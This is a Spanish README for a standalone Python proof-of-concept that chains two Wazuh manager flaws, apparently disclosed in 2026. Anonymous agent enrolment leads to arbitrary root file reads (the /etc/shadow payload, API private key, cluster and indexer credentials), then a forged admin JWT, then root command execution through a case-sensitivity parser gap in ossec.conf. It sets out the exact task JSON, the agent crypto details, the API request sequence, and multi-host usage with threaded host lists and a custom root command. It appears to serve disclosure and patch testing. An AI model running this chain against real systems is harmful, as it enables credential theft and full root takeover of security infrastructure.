
Wazuh PoC que encadena CVE-2026-74034 (lectura de archivos) y CVE-2026-74041 (ejecución de comandos); corregido en 4.14.8. Solo biblioteca estándar de Python.
PoC multi-host en un solo archivo, solo biblioteca estándar, que encadena CVE-2026-74034 y CVE-2026-74041. Ambos avisos se publicaron el 13 de octubre de 2026; las correcciones se distribuyeron en Wazuh 4.14.8 el 23 de septiembre de 2026. La versión 4.14.8 es la versión parcheada, no un objetivo afectado.
El script implementa la siguiente cadena cuando los servicios requeridos del manager son accesibles y la inscripción de agentes sin contraseña está habilitada:
recon :55000/:1515/:1514
│
├─ Phase 2 anonymous enrollment on TCP/1515 (TLS) ──► agent id + 64-hex key
│
├─ Phase 3 OSSEC agent secure channel on TCP/1514 ──► CVE-2026-74034
│ queue 'u' (UPGRADE_MQ) upgrade_custom arbitrary ROOT file read
│ with parameters.file_path = /etc/shadow …
│
└─ Phase 4 ES512 JWT forged from the leaked ──► CVE-2026-74041
/var/ossec/api/configuration/security/ ROOT RCE via the
private_key.pem → PUT /manager/configuration check_remote_commands
parser differential (+ restart) parser differential
No se necesitan credenciales preexistentes cuando el enrolamiento authd sin contraseña incluido por defecto es accesible (<auth><use_password>no</use_password>).
Una contraseña de enrolamiento o un certificado de cliente requerido cambia esta precondición.
CVE-2026-74041 por sí sola requiere un usuario de API autenticado con permiso de actualización de configuración; en esta cadena, el acceso a la API se produce tras la divulgación de la clave de firma.
| CVE | CVSS / vector | Afectado | Resumen |
|---|---|---|---|
| CVE-2026-74034 | 7.5, PR:N | >=4.1.0 <4.14.8 | upgrade_custom parameters.file_path es abierto por ROOT wm_agent_upgrade con solo una comprobación de existencia mediante wfopen() y se transmite de vuelta al agente enrolado → lectura arbitraria de archivos como root |
| CVE-2026-74041 | 9.1 (CVSS 3.1), PR:H | >=4.14.3 <4.14.8 | check_remote_commands acepta un <LOG_FORMAT> en mayúsculas que el validador de Python sensible a mayúsculas y minúsculas no detecta, pero que el logcollector de C insensible a mayúsculas y minúsculas sí respeta → full_command localfile como root |
Los dos rangos de versiones describen las fallas individuales; la superposición documentada
para la cadena completa es >=4.14.3 <4.14.8. Otros avisos quedan fuera de esta PoC.
pip, sin pycryptodome, sin cryptography).1515, 1514, 55000.# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000
# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10
# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce
# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep
# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'
| Flag | Predeterminado | Significado |
|---|---|---|
--port | 55000 | puerto de la API REST de Wazuh |
--authd-port | 1515 | puerto de enrolamiento de authd |
--remoted-port | 1514 | puerto del canal seguro del agente |
--timeout | 10 | tiempo de espera del socket (s) |
--agent-name | poc-<rand8> | nombre enrolado en el manager |
--cmd | (id; hostname) > …/zz_pwned | comando root de la fase 4 |
--no-rce | desactivado | omitir la fase 4 |
--keep | desactivado | no restaurar ossec.conf / eliminar el marcador |
--debug | desactivado | volcar los mensajes del protocolo |
--threads | 5 | paralelismo de hosts |
--api-user | wazuh | nombre de usuario a incluir en el JWT falsificado |
La salida siempre es ordenada por host: un rechazo, un authd protegido con contraseña, una versión parcheada o una discrepancia criptográfica se reporta con el punto de bloqueo exacto y la ejecución continúa con los hosts restantes.
Sondea TCP 55000 (API), 1515 (authd), 1514 (remoted). Solicita GET / con la verificación TLS deshabilitada y reporta api_version cuando la API la expone sin autenticación. En compilaciones endurecidas GET / devuelve 401; la versión real del manager se recupera entonces en la fase 3 desde /var/ossec/VERSION.json y se marca frente a 4.14.8.
Conexión TLS (authd 4.4+ es solo TLS; el script también reintenta TCP plano para compilaciones muy antiguas), luego OSSEC A:'<name>'\n. El manager responde OSSEC K:'<id> <name> <ip> <key>'; el script conserva la clave de agente de 64 hex.
Reproduce la criptografía del agente de Wazuh desde src/os_crypto/shared/msgs.c:
[longitud de 4 bytes little-endian][carga útil]!<id>!#AES:<texto cifrado> para agentes dinámicos (ip=any)MD5(agent_key_hex) (32 bytes ASCII), IV FEDCBA0987654321, PKCS#7!…! + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)Envía #!-agent startup {"version":"v4.14.6"} y un keepalive que transporta la plataforma/arquitectura de Ubuntu para que el agente pase a active en la base de datos global, luego una tarea de cola u (UPGRADE_MQ):
{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}
analysisd lo reenvía a WM_UPGRADE_SOCK; el wazuh-modulesd ROOT abre el archivo
(wfopen, sin comprobaciones de ruta/extensión/firma) y transmite los bytes en bruto de vuelta como
fragmentos write en base64. El script los reensambla e imprime líneas [ACC] en vivo:
| archivo | manejo |
|---|---|
/etc/shadow | solo líneas root: / wazuh: (hash impreso completo) |
/var/ossec/etc/client.keys | completo (recortado a 25 líneas, bytes contados) |
/var/ossec/etc/authd.pass | completo (ausente cuando la inscripción es anónima) |
/var/ossec/api/configuration/security/private_key.pem | completo |
/var/ossec/etc/ossec.conf | <key> del clúster, credenciales del indexer, contraseña de <auth> |
/var/ossec/VERSION.json | versión de respaldo para el reconocimiento |
Entre archivos el script envía upgrade_update_status (de lo contrario el gestor de tareas
mantiene al agente en In progress y rechaza la siguiente tarea).
iss=wazuh, aud="Wazuh API REST", sub=wazuh, rbac_roles=[1],
rbac_mode=white, exp-nbf=900). Verificado contra GET /agents.GET /manager/configuration?raw=true, insertar antes del último
</ossec_config> un <localfile> con un señuelo <log_format>syslog</log_format>
en minúsculas y un <LOG_FORMAT>full_command</LOG_FORMAT> en mayúsculas más el comando.PUT /manager/configuration (application/octet-stream), luego PUT /manager/restart.GET /lists/files/zz_pwned?raw=true para obtener la salida del comando como root.--keep: PUT del ossec.conf original, reiniciar, y
DELETE /lists/files/zz_pwned (con reintentos hasta que el marcador desaparezca).